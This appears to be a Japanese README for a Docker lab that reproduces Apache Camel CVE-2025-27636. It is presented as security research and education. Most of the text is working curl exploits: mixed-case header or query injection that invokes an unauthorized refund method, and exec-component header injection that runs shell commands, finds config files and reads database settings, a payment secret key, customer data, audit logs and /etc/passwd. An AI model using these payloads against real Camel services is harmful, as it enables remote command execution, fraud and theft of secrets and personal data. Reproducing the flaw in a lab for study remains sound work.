
Apache Camel CVE-2025-27636を、Dockerベースのヘッダーインジェクション攻撃の再現とともに実演します。Beanメソッドインジェクションやコマンド実行を含み、セキュリティ研究および教育を目的としています。
このプロジェクトは、Apache Camel におけるヘッダーインジェクション攻撃に関連するセキュリティ脆弱性を実証するものです。
Docker イメージをビルドします:
docker build -t camel-cve-demo .
必要なすべてのポートを使用してコンテナを実行します:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
メソッド名を注入して脆弱なエンドポイントを悪用します:
# 成功する攻撃 - 大文字小文字を区別するヘッダー
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# 代替手段 - クエリパラメータインジェクション
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
比較(これらは失敗するはずです):
# 大文字小文字が間違っている場合 - 動作しないはず
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
exec コンポーネントを悪用して任意のコマンドを実行します:
偵察:
# 現在のディレクトリを確認
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# 設定ディレクトリを一覧表示
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# 設定ファイルを検索
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
データの外部送信:
# データベース設定を読み取る
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# 支払いシークレットを読み取る
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# 顧客データを読み取る
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# 監査ログを読み取る
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# システムユーザーを読み取る
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# プロセスを一覧表示
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
コンテナ内の攻撃ログを確認します:
# 不正な返金試行を表示
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt